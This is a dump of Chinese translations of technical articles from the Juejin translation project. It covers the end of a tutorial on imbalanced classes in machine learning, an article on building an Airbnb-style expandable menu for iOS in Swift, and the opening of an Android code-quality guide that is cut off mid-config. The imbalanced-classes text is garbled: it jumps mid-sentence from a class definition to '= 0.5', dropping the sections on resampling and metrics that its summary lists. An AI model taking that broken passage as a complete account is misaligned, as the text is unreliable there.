很好,猜猜看?你的“解决方案”应该有 92% 的准确率! 不幸的是,以上准确率具有误导性。 - 对于未患该病的病人,你的准确率是 100% 。 - 对于已患该病的病人,你的准确率是 0%。 - 你的总体准确率非常高,因为大多数患者并没有患该病 (不是因为你的模型训练的好)。 这显然是一个问题,因为设计的许多机器学习算法是为了最大限度的提高整体准确率。本指南的其余部分将说明处理不平衡类别的不同策略。 #### 我们开始之前的重要提示: 首先,请注意,我们不会分离出一个独立的测试集,调整超参数或者实现交叉检验。换句话说,我们不打算遵循最佳做法 (在我们的[7 天速成课程](http://elitedatascience.com/)中有介绍)。 相反,本教程只专注于解决不平衡类别问题。 此外,并非以下每种技术都会适用于每一个问题。不过通常来说,这些技术中至少有一个能够解决问题。 ## Balance Scale 数据集 对于本指南,我们将会使用一个叫做 Balance Scale 数据的合成数据集,你可以从[这里](http://archive.ics.uci.edu/ml/datasets/balance+scale) UCI 机器学习仓库下载。 这个数据集最初被生成用于模拟心理实验结果,但是对于我们非常有用,因为它的规模便于处理并且包含不平衡类别 导入第三方依赖库并读取数据 ``` import pandas as pd import numpy as np # 读取数据集 df = pd.read_csv('balance-scale.data', names=['balance', 'var1', 'var2', 'var3', 'var4']) # 显示示例观测样本 df.head() ``` ![Balance Scale Dataset](https://elitedatascience.com/wp-content/uploads/2017/06/balance-scale-dataset-head.png) 基于两臂的重量和距离,该数据集包含了天平是否平衡的信息。 - 其中包含 1 个我们标记的目标变量 balance . - 其中包含 4 个我们标记的输入特征 var1 到 var4 . ![Image Scale Data](https://elitedatascience.com/wp-content/uploads/2017/06/balance-scale-data.png) 目标变量有三个类别。 - **R** 表示右边重,,当 var3*var4>var1*var2 - **L** 表示左边重,当 var3*var4= 0.5。 ## 4. 惩罚算法 (代价敏感学习) 接下来的策略是使用惩罚学习算法来增加对少数类别分类错误的代价。 对于这种技术,一个流行的算法是惩罚性-SVM: 支持向量机 ``` from sklearn.svm import SVC ``` 训练时,我们可以使用参数 class_weight='balanced' 来减少由于少数类别样本比例不足造成的预测错误。 我们也可以包含参数 probability=True ,如果我们想启用 SVM 算法的概率估计。 让我们在原始的不平衡数据集上使用惩罚性的 SVM 训练模型: SVM 在不平衡数据集上训练惩罚性-SVM ``` # 分离输入特征 (X) 和目标变量 (y) y = df.balance X = df.drop('balance', axis=1) # 训练模型 clf_3 = SVC(kernel='linear', class_weight='balanced', # penalize probability=True) clf_3.fit(X, y) # 在训练集上预测 pred_y_3 = clf_3.predict(X) # Is our model still predicting just one class? print( np.unique( pred_y_3 ) ) # [0 1] # How's our accuracy? print( accuracy_score(y, pred_y_3) ) # 0.688 # What about AUROC? prob_y_3 = clf_3.predict_proba(X) prob_y_3 = [p[1] for p in prob_y_3] print( roc_auc_score(y, prob_y_3) ) # 0.5305236678 ``` 再说,这里我们的目的只是为了说明这种技术。真正决定哪种策略最适合*这个问题*,你需要在保留测试集上评估模型。 ## 5. 使用基于树的算法 最后一个策略我们将考虑使用基于树的算法。决策树通常在不平衡数据集上表现良好,因为它们的层级结构允许它们从两个类别去学习。 在现代应用机器学习中,树集合(随机森林、梯度提升树等) 几乎总是优于单一决策树,所以我们将跳过单一决策树直接使用树集合模型: 随机森林 ``` from sklearn.ensemble import RandomForestClassifier ``` 现在,让我们在原始的不平衡数据集上使用随机森林训练一个模型。 在不平衡数据集上训练随机森林 ``` # 分离输入特征 (X) 和目标变量 (y) y = df.balance X = df.drop('balance', axis=1) # 训练模型 clf_4 = RandomForestClassifier() clf_4.fit(X, y) # 在训练集上进行预测 pred_y_4 = clf_4.predict(X) # 我们的模型仍然仅能预测一个类别吗? print( np.unique( pred_y_4 ) ) # [0 1] # 我们的准确率如何? print( accuracy_score(y, pred_y_4) ) # 0.9744 # AUROC 怎么样? prob_y_4 = clf_4.predict_proba(X) prob_y_4 = [p[1] for p in prob_y_4] print( roc_auc_score(y, prob_y_4) ) # 0.999078798186 ``` 哇! 97% 的准确率和接近 100% AUROC 是魔法吗?戏法?作弊?是真的吗? 嗯,树集合已经非常受欢迎,因为他们在许多现实世界的问题上表现的非常良好。我们当然全心全意地推荐他们。 **然而:** 虽然这些结果令人激动,但是模型*可能*导致过拟合,因此你在做出最终决策之前仍旧需要在未见过的测试集上评估模型。 **注意: 由于算法的随机性,你的结果可能略有不同。为了能够复现试验结果,你可以设置一个随机种子。** ## 顺便提一下 有些策略没有写入本教程: #### 创建合成样本 (数据增强) 创建合成样本与上采样非常相似, 一些人将它们归为一类。例如, [SMOTE 算法](https://www.jair.org/media/953/live-953-2037-jair.pdf) 是一种从少数类别中重采样的方法,会轻微的引入噪声,来创建”新“样本。 你可以在 [imblearn 库](http://contrib.scikit-learn.org/imbalanced-learn/generated/imblearn.over_sampling.SMOTE.html) 中 找到 SMOTE 的一种实现 **注意:我们的读者之一,马可,提出了一个很好的观点:仅使用 SMOTE 而不适当的使用交叉验证所造成的风险。查看评论部分了解更多详情或阅读他的关于本主题的 [博客文章](http://www.marcoaltini.com/blog/dealing-with-imbalanced-data-undersampling-oversampling-and-proper-cross-validation) 。** #### 组合少数类别 组合少数类别的目标变量可能适用于某些多类别问题。 例如,假如你希望预测信用卡欺诈行为。在你的数据集中,每种欺诈方式可能会分别标注,但你可能并不关心区分他们。你可以将它们组合到单一类别“欺诈”中并把此问题归为二值分类问题。 #### 重构欺诈检测 异常检测, 又称为离群点检测,是为了[检测异常点(或离群点)和小概率事件](https://en.wikipedia.org/wiki/Anomaly_detection)。不是创建一个分类模型,你会有一个正常观测样本的 ”轮廓“。如果一个新观测样本偏离 “正常轮廓” 太远,那么它就会被标注为一个异常点。 ## 总结 & 下一步 在本指南中,我们介绍了 5 种处理不平衡类别的有效方法: 1. 上采样 少数类别 2. 下采样 多数类别 3. 改变你的性能指标 4. 惩罚算法 (代价敏感学习) 5. 使用基于树的算法 这些策略受[没有免费的午餐定理](http://elitedatascience.com/machine-learning-algorithms)支配,你应该尝试使用其中几种方法,并根据测试集的结果来决定你的问题的最佳解决方案。 如果你喜欢本指南,我们邀请你注册我们的 **[7天免费应用机器学习速成课](http://elitedatascience.com/)**。我们会分享在我们博客中找不到的课程,当我们发布类似本教程的新教程时我们会给你发送通知。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。 ================================================ FILE: TODO/how-to-implement-expandable-menu-on-ios-like-in-airbnb.md ================================================ > * 原文地址:[How to implement expandable menu on iOS (like in Airbnb)](https://blog.uptech.team/how-to-implement-expandable-menu-on-ios-like-in-airbnb-3d2bdd97b049) > * 原文作者:[Evgeny Matviyenko](https://blog.uptech.team/@evgeny.matviyenko) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/how-to-implement-expandable-menu-on-ios-like-in-airbnb.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-to-implement-expandable-menu-on-ios-like-in-airbnb.md) > * 译者:[RichardLeeH](https://github.com/RichardLeeH) > * 校对者:[iOSleep](https://github.com/iOSleep),[KnightJoker](https://github.com/KnightJoker) # 如何在 iOS 上实现类似 Airbnb 中的可展开式菜单 ![](https://cdn-images-1.medium.com/max/2000/1*4mjos0c1rx7qIAdfjJy6Wg.png) 几个月前,我有机会实现了一个可展开式菜单,效果同知名的 iOS 应用 Airbnb。然后,我认为把它封装为库会更好。现在我想和大家分享用于实现漂亮的滚动驱动动画采用的一些解决方案。 ![](https://cdn-images-1.medium.com/max/1600/1*c4e83KM3BMh8p04jXY3m1A.gif) 此库支持 3 个状态。主要目的是在滚动 [UIScrollView](https://developer.apple.com/documentation/uikit/uiscrollview) 时获得流畅的转换。 ![](https://cdn-images-1.medium.com/max/2000/1*yghDAza2CgWGTfXYIRJ9kQ.png) 支持的状态 ### UIScrollView [UIScrollView](https://developer.apple.com/documentation/uikit/uiscrollview) 是 iOS SDK 中的一个支持滚动和缩放的视图。它是 [UITableView](https://developer.apple.com/documentation/uikit/uitableview) 和 [UICollectionView](https://developer.apple.com/documentation/uikit/uicollectionview) 的基类,因此,只要支持 `UIScrollView`,就可以使用它。 `UIScrollView` 使用 [UIPanGestureRecognizer](https://developer.apple.com/documentation/uikit/uipangesturerecognizer) 在内部检测滚动手势。`UIScrollView` 的滚动状态被定义为 `contentOffset: CGPoint` 属性。 可滚动区域由 `contentInsets` 和 `contentSize` 联合决定。 因此,起始的 `contentOffset` 为 `*CGPoint(x: -contentInsets.left, y: -contentInsets.right)*` ,结束值为 `*CGPoint(x: contentSize.width — frame.width+contentInsets.right, y: contentSize.height — frame.height+contentInsets.bottom)*`*.* `UIScrollView` 有一个 `bounces: Bool` 属性。`bounces` 能够避免设置 `contentOffset` 高于/低于限定值。我们需要记住这一点。 [![](https://i.ytimg.com/vi_webp/fgwVqCGgHZA/maxresdefault.webp)](https://youtu.be/fgwVqCGgHZA) UIScrollView contentOffset 演示 我们感兴趣的是用于改变我们菜单状态的属性 `contentOffset: CGPoint`。监听滚动视图 `contentOffset` 的主要方式是为对象设置一个代理属性,并实现 `scrollViewDidScroll(UIScrollView)` 方法。在 Swift 中,没有办法使用 `delegate` 而不影响其他客户端代码(因为 `NSProxy` 不可用),因此我打算使用键值监听(KVO)。 ### Observable 我创建了 `Observable` 泛型类,因此可以监听任何类型。 ``` internal class Observable: NSObject { internal var observer: ((Value) -> Void)? } ``` 和两个 `Observable` 子类: - `KVObservable` — 用于封装 KVO。 ``` internal class KVObservable: Observable { private let keyPath: String private weak var object: AnyObject? private var observingContext = NSUUID().uuidString internal init(keyPath: String, object: AnyObject) { self.keyPath = keyPath self.object = object super.init() object.addObserver(self, forKeyPath: keyPath, options: [.new], context: &observingContext) } deinit { object?.removeObserver(self, forKeyPath: keyPath, context: &observingContext) } override func observeValue(forKeyPath keyPath: String?, of object: Any?, change: [NSKeyValueChangeKey : Any]?, context: UnsafeMutableRawPointer?) { guard context == &observingContext, let newValue = change?[NSKeyValueChangeKey.newKey] as? Value else { return } observer?(newValue) } } ``` - `GestureStateObservable` — 封装了 target-action 用于监听 UIGestureRecognizer 状态。 ``` internal class GestureStateObservable: Observable { private weak var gestureRecognizer: UIGestureRecognizer? internal init(gestureRecognizer: UIGestureRecognizer) { self.gestureRecognizer = gestureRecognizer super.init() gestureRecognizer.addTarget(self, action: #selector(self.handleEvent(_:))) } deinit { gestureRecognizer?.removeTarget(self, action: #selector(self.handleEvent(_:))) } @objc private func handleEvent(_ recognizer: UIGestureRecognizer) { observer?(recognizer.state) } } ``` ### Scrollable 为了便于库的测试,我实现了 `Scrollable` 协议。我也需要采用一种方式让 `UIScrollView` 监听 `contentOffset`, `contentSize` 和 `panGestureRecognizer.state`。协议一致性是一个很好的方法。除了可以监听库中使用的所有的属性。还包括用于设置带有动画效果的 `contentOffset` 的 `updateContentOffset(CGPoint, animated: Bool)` 方法。 ``` internal protocol Scrollable: class { var contentOffset: CGPoint { get } var contentInset: UIEdgeInsets { get set } var scrollIndicatorInsets: UIEdgeInsets { get set } var contentSize: CGSize { get } var frame: CGRect { get } var contentSizeObservable: Observable { get } var contentOffsetObservable: Observable { get } var panGestureStateObservable: Observable { get } func updateContentOffset(_ contentOffset: CGPoint, animated: Bool) } // MARK: - UIScrollView + Scrollable extension UIScrollView: Scrollable { var contentSizeObservable: Observable { return KVObservable(keyPath: #keyPath(UIScrollView.contentSize), object: self) } var contentOffsetObservable: Observable { return KVObservable(keyPath: #keyPath(UIScrollView.contentOffset), object: self) } var panGestureStateObservable: Observable { return GestureStateObservable(gestureRecognizer: panGestureRecognizer) } func updateContentOffset(_ contentOffset: CGPoint, animated: Bool) { // Stops native deceleration. setContentOffset(self.contentOffset, animated: false) let animate = { self.contentOffset = contentOffset } guard animated else { animate() return } UIView.animate(withDuration: 0.25, delay: 0, options: [], animations: { animate() }, completion: nil) } } ``` 我没有使用系统库提供的 `UIScrollView` 实现的方法 `setContentOffset(...)` ,因为在我看来,`UIKit` 动画 API 更加灵活。这里的问题是直接设置 `contentOffset` 属性并不能使 `UIScrollView` 减速停下来,所以使用没有动画效果的 updateContentOffset(…) 方法设置当前的 contentOffset。 ### State 我想要获取可预测的菜单状态。这就是为什么我在 `State` 结构体中封装了所有可变状态,包括 `offset`、`isExpandedStateAvailable` 和 `configuration` 属性。 ``` public struct State { internal let offset: CGFloat internal let isExpandedStateAvailable: Bool internal let configuration: Configuration internal init(offset: CGFloat, isExpandedStateAvailable: Bool, configuration: Configuration) { self.offset = offset self.isExpandedStateAvailable = isExpandedStateAvailable self.configuration = configuration } } ``` `offset` 仅仅是菜单高度的相反数。我打算使用 `offset` 来代替 `height`,因为向下滚动时高度降低,当向上滚动时高度增加。`offset` 可以使用 `*offset = previousOffset + (contentOffset.y — previousContentOffset.y)*` 来计算。 - `isExpandedStateAvailable` 属性用于判断 offset 应该赋值为 `-normalStateHeight` 或 `-expandedStateHeight`; - `configuration` 是一个包含菜单高度常量的结构体。 ``` public struct Configuration { let compactStateHeight: CGFloat let normalStateHeight: CGFloat let expandedStateHeight: CGFloat } ``` ### BarController `BarController` 是用于管理所有计算状态的主要对象,并为调用者提供状态改变。 ``` public typealias StateObserver = (State) -> Void private struct ScrollableObservables { let contentOffset: Observable let contentSize: Observable let panGestureState: Observable } public class BarController { private let stateReducer: StateReducer private let configuration: Configuration private let stateObserver: StateObserver private var state: State { didSet { stateObserver(state) } } private weak var scrollable: Scrollable? private var observables: ScrollableObservables? // MARK: - Lifecycle internal init( stateReducer: @escaping StateReducer, configuration: Configuration, stateObserver: @escaping StateObserver ) { self.stateReducer = stateReducer self.configuration = configuration self.stateObserver = stateObserver self.state = State( offset: -configuration.normalStateHeight, isExpandedStateAvailable: false, configuration: configuration ) } ... } ``` 它传递 `stateReducer`, `configuration` 和 `stateObserver` 作为初始参数。 - `stateObserver` 闭包在 `state` 属性的 `didSet` 中被调用中被调用。它通知库的调用者关于状态的改变。 - `stateReducer` 是一个函数,它传入之前的状态,一些滚动上下文参数,并返回一个新状态。通过初始化方法传入参数,用于解耦状态计算和 `BarController` 对象。 ``` internal struct StateReducerParameters { let scrollable: Scrollable let configuration: Configuration let previousContentOffset: CGPoint let contentOffset: CGPoint let state: State } internal typealias StateReducer = (StateReducerParameters) -> State ``` 默认的 state reducer 用于计算 `contentOffset.y` 和 `previousContentOffset.y` 的差值, 并对每个变换器进行计算。然后返回返回新状态:`offset = previousState.offset + deltaY`。 ``` internal struct ContentOffsetDeltaYTransformerParameters { let scrollable: Scrollable let configuration: Configuration let previousContentOffset: CGPoint let contentOffset: CGPoint let state: State let contentOffsetDeltaY: CGFloat } internal typealias ContentOffsetDeltaYTransformer = (ContentOffsetDeltaYTransformerParameters) -> CGFloat internal func makeDefaultStateReducer(transformers: [ContentOffsetDeltaYTransformer]) -> StateReducer { return { (params: StateReducerParameters) -> State in var deltaY = params.contentOffset.y - params.previousContentOffset.y deltaY = transformers.reduce(deltaY) { (deltaY, transformer) -> CGFloat in let params = ContentOffsetDeltaYTransformerParameters( scrollable: params.scrollable, configuration: params.configuration, previousContentOffset: params.previousContentOffset, contentOffset: params.contentOffset, state: params.state, contentOffsetDeltaY: deltaY ) return transformer(params) } return params.state.add(offset: deltaY) } } ``` 库中使用了 3 个变换器来减少状态: - `ignoreTopDeltaYTransformer` — 确保滚动到 `UIScrollView` 的顶部被忽略并且不会影响到 `BarController` 状态; ``` internal let ignoreTopDeltaYTransformer: ContentOffsetDeltaYTransformer = { params -> CGFloat in var deltaY = params.contentOffsetDeltaY // Minimum contentOffset.y without bounce. let start = params.scrollable.contentInset.top // Apply transform only when contentOffset is below starting point. if params.previousContentOffset.y < -start || params.contentOffset.y < -start { // Adjust deltaY to ignore scroll view bounce below minimum contentOffset.y. deltaY += min(0, params.previousContentOffset.y + start) } return deltaY } ``` - `ignoreBottomDeltaYTransformer` — 和 `ignoreTopDeltaYTransformer`类似,只是滚动到底部; ``` internal let ignoreBottomDeltaYTransformer: ContentOffsetDeltaYTransformer = { params -> CGFloat in var deltaY = params.contentOffsetDeltaY // Maximum contentOffset.y without bounce. let end = params.scrollable.contentSize.height - params.scrollable.frame.height + params.scrollable.contentInset.bottom // Apply transform only when contentOffset.y is above ending. if params.previousContentOffset.y > end || params.contentOffset.y > end { // Adjust deltaY to ignore scroll view bounce above maximum contentOffset.y. deltaY += max(0, params.previousContentOffset.y - end) } return deltaY } ``` - `cutOutStateRangeDeltaYTransformer` — 删除那些超过BarController支持的状态(最小值/最大值)限制的 delta Y。 ``` internal let cutOutStateRangeDeltaYTransformer: ContentOffsetDeltaYTransformer = { params -> CGFloat in var deltaY = params.contentOffsetDeltaY if deltaY > 0 { // Transform when scrolling down. // Cut out extra deltaY that will go out of compact state offset after apply. deltaY = min(-params.configuration.compactStateHeight, (params.state.offset + deltaY)) - params.state.offset } else { // Transform when scrolling up. // Expanded or normal state height. let maxStateHeight = params.state.isExpandedStateAvailable ? params.configuration.expandedStateHeight : params.configuration.normalStateHeight // Cut out extra deltaY that will go out of maximum state offset after apply. deltaY = max(-maxStateHeight, (params.state.offset + deltaY)) - params.state.offset } return deltaY } ``` 每次 `contentOffset` 变化时,`BarController` 调用 `stateReducer` 并将结果赋值给 `state`。 ``` private func setupObserving() { guard let observables = observables else { return } // Content offset observing. var previousContentOffset: CGPoint? observables.contentOffset.observer = { [weak self] contentOffset in guard previousContentOffset != contentOffset else { return } self?.contentOffsetChanged(previousValue: previousContentOffset, newValue: contentOffset) previousContentOffset = contentOffset } ... } private func contentOffsetChanged(previousValue: CGPoint?, newValue: CGPoint) { guard let previousValue = previousValue, let scrollable = scrollable else { return } let reducerParams = StateReducerParameters( scrollable: scrollable, configuration: configuration, previousContentOffset: previousValue, contentOffset: newValue, state: state ) state = stateReducer(reducerParams) } ... ``` 到此,该库能够将 `contentOffset` 的变化转化为内部状态的改变,但是 `isExpandedStateAvailable` 状态属性此时不能被修改,因为状态状态转变尚未结束。 该 `panGestureRecognizer.state` 监听出场了: ``` private func setupObserving() { ... // Pan gesture state observing. observables.panGestureState.observer = { [weak self] state in self?.panGestureStateChanged(state: state) } } private func panGestureStateChanged(state: UIGestureRecognizerState) { switch state { case .began: panGestureBegan() case .ended: panGestureEnded() case .changed: panGestureChanged() default: break } } ``` - 如果拖动手势在在滚动的上部,或者我们已经处于展开状态,拖动手势将 `isExpandedStateAvailable` 状态属性设置为 true; ``` private func panGestureBegan() { guard let scrollable = scrollable else { return } // Is currently at top of scrollable area. // Assertion is not strict here, because of UIScrollView KVO observing bug. // First emitted contentOffset.y isn't always a decimal number. let isScrollingAtTop = scrollable.contentOffset.y.isNear(to: -configuration.normalStateHeight, delta: 5) // Is expanded state previously available. let isExpandedStatePreviouslyAvailable = scrollable.contentOffset.y < -configuration.normalStateHeight && state.isExpandedStateAvailable // Turn on expanded state if scrolling at top or expanded state previous available. state = state.set(isExpandedStateAvailable: isScrollingAtTop || isExpandedStatePreviouslyAvailable) // Configure contentInset.top to be consistent with available states. scrollable.contentInset.top = state.isExpandedStateAvailable ? configuration.expandedStateHeight : configuration.normalStateHeight } ``` - 如果状态偏移值达到正常状态,拖动手势变化回调方法就会设置 `isExpandedStateAvailable`; ``` private func panGestureChanged() { guard let scrollable = scrollable else { return } // Turn off expanded state if offset is bigger than normal state offset. if state.isExpandedStateAvailable && scrollable.contentOffset.y > -configuration.normalStateHeight { state = state.set(isExpandedStateAvailable: false) scrollable.contentInset.top = configuration.normalStateHeight } } ``` - 拖动手势结束后找到最接近当前状态的偏移量,添加其差值到偏移量上,并调用偏移量到结束状态的动画 `updateContentOffset(CGPoint, animated: Bool)`。 ``` private func panGestureEnded() { guard let scrollable = scrollable else { return } let stateOffset = state.offset // 所有支持的状态偏移。 let offsets = [ -configuration.compactStateHeight, -configuration.normalStateHeight, -configuration.expandedStateHeight ] // Find smallest absolute delta between current offset and supported state offsets. let smallestDelta = offsets.reduce(nil) { (smallestDelta: CGFloat?, offset: CGFloat) -> CGFloat in let delta = offset - stateOffset guard let smallestDelta = smallestDelta else { return delta } return abs(delta) < abs(smallestDelta) ? delta : smallestDelta } // Add samllestDelta to currentOffset.y and update scrollable contentOffset with animation. if let smallestDelta = smallestDelta, smallestDelta != 0 { let targetContentOffsetY = scrollable.contentOffset.y + smallestDelta let targetContentOffset = CGPoint(x: scrollable.contentOffset.x, y: targetContentOffsetY) scrollable.updateContentOffset(targetContentOffset, animated: true) } } ``` 因此,只有当用户在可用的可滚动区域的顶部滚动时,可展开状态才会生效。如果可展开状态可用并且用户滚动到正常状态之下,此时可展开状态被禁用。如果用户在状态转换期间结束拖动手势,`BarController` 此时会以动画的方式更新 contentoffset。 ### 将 UIScrollView 绑定到 BarController `BarController` 包含 2 个公有方法用于用户设置 `UIScrollView`。通常情况下,用户使用 `set(scrollView: UIScrollView)` 方法。也可以使用 `preconfigure(scrollView: UIScrollView)` 方法,用于设置滚动视图的可视状态与当前 `BarController` 状态一致。 它被用于滚动视图即将被交换的时候。例如,用户可以采用动画替换当前的滚动视图,并希望在动画开始时将第二滚动视图可视化配置。动画结束后,用户应该调用 `set(scrollView: UIScrollView)`。如果 `UIScrollView` 只设置一次,那么 `preconfigure(scrollView: UIScrollView)` 方法不是必须调用的,因为 `set(scrollView: UIScrollView)` 是在内部调用的。 `preconfigure` 方法计算 `contentSize` 高度和 frame 高度的差值, 并将其赋值给 bottomcontentinset,使其菜单保持可扩展状态,并设置 `contentInsets.top` 和 `scrollIndicatorInsets.top`,然后设置初始的 `contentOffset` 确保新的滚动视图与状态偏移保持一致。 ``` public func set(scrollView: UIScrollView) { self.set(scrollable: scrollView) } internal func set(scrollable: Scrollable) { self.scrollable = scrollable self.observables = ScrollableObservables( contentOffset: scrollable.contentOffsetObservable, contentSize: scrollable.contentSizeObservable, panGestureState: scrollable.panGestureStateObservable ) preconfigure(scrollable: scrollable) setupObserving() stateObserver(state) } public func preconfigure(scrollView: UIScrollView) { preconfigure(scrollable: scrollView) } internal func preconfigure(scrollable: Scrollable) { scrollable.setBottomContentInsetToFillEmptySpace(heightDelta: configuration.compactStateHeight) // Set contentInset.top to current state height. scrollable.contentInset.top = state.offset <= -configuration.normalStateHeight && state.isExpandedStateAvailable ? configuration.expandedStateHeight : configuration.normalStateHeight // Set scrollIndicator.top to normal state height. scrollable.scrollIndicatorInsets.top = configuration.normalStateHeight // Scroll to top of scrollable area if state is expanded or content offset is less than zero. if scrollable.contentOffset.y <= 0 || (state.offset < -configuration.normalStateHeight && state.isExpandedStateAvailable) { let targetContentOffset = CGPoint(x: scrollable.contentOffset.x, y: state.offset) scrollable.updateContentOffset(targetContentOffset, animated: false) } } ``` ### API 为了通知用户状态变化,`BarController` 调用注入 `stateObserver` 方法并传入变化后的 `State` 模型对象。 `State` 结构体提供了几个公有方法用于从内部状态中读取有用信息: - `height()`— 返回 offset 的相反数, 菜单的实际高度; ``` public func height() -> CGFloat { return -offset } ``` - `transitionProgress()`— 返回从 0 到 2 的改变状态,**0 — 简洁状态,1 — 正常状态, 2 — 展开状态**; ``` internal enum StateRange { case compactNormal case normalExpanded internal func progressBounds() -> (CGFloat, CGFloat) { switch self { case .compactNormal: return (0, 1) case .normalExpanded: return (1, 2) } } } ... internal func stateRange() -> StateRange { if offset > -configuration.normalStateHeight { return .compactNormal } else { return .normalExpanded } } public func transitionProgress() -> CGFloat { let stateRange = self.stateRange() let offsetBounds = configuration.offsetBounds(for: stateRange) let progressBounds = stateRange.progressBounds() let reversedProgressBounds = (progressBounds.1, progressBounds.0) return offset.map(from: offsetBounds, to: reversedProgressBounds) } ``` - `value(compactNormalRange: ValueRangeType, normalExpandedRange: ValueRangeType)` — 根据当前的 StateRange 将转换进度映射为 2 个范围类型之一并返回。 ``` public enum ValueRangeType { case value(CGFloat) case range(CGFloat, CGFloat) internal var range: (CGFloat, CGFloat) { switch self { case let .value(value): return (value, value) case let .range(range): return range } } } public func value(compactNormalRange: ValueRangeType, normalExpandedRange: ValueRangeType) -> CGFloat { let progress = self.transitionProgress() let stateRange = self.stateRange() let valueRange = stateRange == .compactNormal ? compactNormalRange : normalExpandedRange return progress.map(from: stateRange.progressBounds(), to: valueRange.range) } ``` 以下为 `AirBarExampleApp` 中使用 `State` 的公有方法。`airBar.frame.height` 根据 `height()` 动画,`backgroundView.alpha` 根据 `value(...)` 动画。这里的背景视图透明会进行 `(0, 1)` 范围内的差值表示为 `compact-normal` 的状态, `1` 为 `normal-expanded` 状态。 ``` override func viewDidLoad() { ... let barStateObserver: (AirBar.State) -> Void = { [weak self] state in self?.handleBarControllerStateChanged(state: state) } barController = BarController(configuration: configuration, stateObserver: barStateObserver) } ... private func handleBarControllerStateChanged(state: State) { let height = state.height() airBar.frame = CGRect( x: airBar.frame.origin.x, y: airBar.frame.origin.y, width: airBar.frame.width, height: height // <~ Animated property ) backgroundView.alpha = state.value(compactNormalRange: .range(0, 1), normalExpandedRange: .value(1)) // <~ Animated property } ``` ### 总结 到此,我已经实现了一个带有可预测状态的漂亮的滚动驱动菜单,并学到了许多使用 `UIScrollView` 的经验。 以下可以找到本封装库,示例应用和安装指南: [![](https://ws3.sinaimg.cn/large/006tNc79ly1fhpl9s31fbj314i0aaaaw.jpg)](https://github.com/uptechteam/AirBar) 你可以随意使用它。如果遇到任何困难,请告诉我。 你有哪些使用 `UIScrollView` 及滚动驱动动画经验?欢迎在评论中分享/提问,我很乐意帮忙。 感谢您的阅读! --- 我们在 [UPTech](https://uptech.team/) 上做了以 [Freebird Rides](https://www.freebirdrides.com/) 应用为主题的调查。 --- **如果本文对你有帮助, 点击下方的** 💚 **,这样其他人也会喜欢它。关注我们更多关于如何构建极好产品的文章。** --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。 ================================================ FILE: TODO/how-to-improve-quality-and-syntax-of-your-android-code.md ================================================ > * 原文链接 : [How to improve quality and syntax of your Android code](http://vincentbrison.com/2014/07/19/how-to-improve-quality-and-syntax-of-your-android-code/) * 原文作者 : [Vincent Brison](http://vincentbrison.com/author/admin/) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [尹述迪](http://yinshudi.com/) * 校对者: [laobie](https://github.com/laobie) # 如何提高安卓代码的质量和语法 在这篇文章中,我会介绍几种不同的方式,让你通过自动化工具提高你的Android代码质量,包括 [Checkstyle](http://checkstyle.sourceforge.net/), [Findbugs](http://findbugs.sourceforge.net/), [PMD](http://pmd.sourceforge.net/), 当然,还有我们最熟悉的[Android Lint](http://tools.android.com/tips/lint)。 为了让你的代码保持缜密的语法,同时避免一些糟糕的实现和错误,使用自动化的方式测试你的代码十分有用,尤其是当你和队友一起工作时。我会细心地解释如何直接通过你的Gradle构建脚本使用这些工具,和怎么方便地配置它们。 ## Fork这个例子 我强烈建议你fork[此项目](https://github.com/vincentbrison/vb-android-app-quality.git),因为我将介绍的所有例子均来自于它。同时,你也能自己测试这些质量控制工具。 ## 关于Gradle任务 理解任务在Gradle中的概念是理解这篇文章的基础(广义上,也是学会撰写Gradle脚本的基础)。我强烈建议你先阅读一下Gradle文档中关于任务的部分([这个](http://www.gradle.org/docs/current/userguide/tutorial_using_tasks.html)和[这个](http://www.gradle.org/docs/current/userguide/more_about_tasks.html))。 文档中包含许多例子,非常容易理解。好了,那现在我就假设你已经fork了我的仓库,将项目导入了你的Android Studio,同时也已经熟悉了Gradle的任务。如果没有也不必担心,我会尽我所能解释得通俗易懂。 ## Demo项目的层次结构 你能将`gradle`脚本分离在很多文件中,目前我分了3个`gradle`文件: * [一个在根目录](https://github.com/vincentbrison/vb-android-app-quality/blob/master/build.gradle),这个文件是关于项目的一些配置(比如使用的maven仓库和使用的Gradle版本); * [一个在子文件夹`app`中](https://github.com/vincentbrison/vb-android-app-quality/blob/master/app/build.gradle),这是一个典型的构建Android应用的Gradle文件。 * [一个在子文件夹`config`中](https://github.com/vincentbrison/vb-android-app-quality/blob/master/config/quality.gradle),这个才是我们所关注的,我用它来为我的项目集成并配置所有的质量控制工具。 # Checkstyle [![](http://checkstyle.sourceforge.net/images/logo.png)](http://checkstyle.sourceforge.net/) ## 简介 > Checkstyle是一个帮助程序员坚持规范化编写Java代码的开发工具.它自动检查Java代码,将程序员从这项乏味(但重要)的工作中解放出来. 正如Checkstyle的开发者所说,这个工具帮助你在一个项目中,精确并灵活地定义和保持编码规范。当你运行Checkstyle时,它会分析你的Java代码,根据你的配置找出所有错误并提示你。 ## 通过Gradle配置 以下代码展示了在你项目中使用`Checkstyle`的基本配置(作为一个`Gradle`任务): ```Gradle task checkstyle(type: Checkstyle) { configFile file("${project.rootDir}/config/quality/checkstyle/checkstyle.xml") // Where my checkstyle config is... configProperties.checkstyleSuppressionsPath = 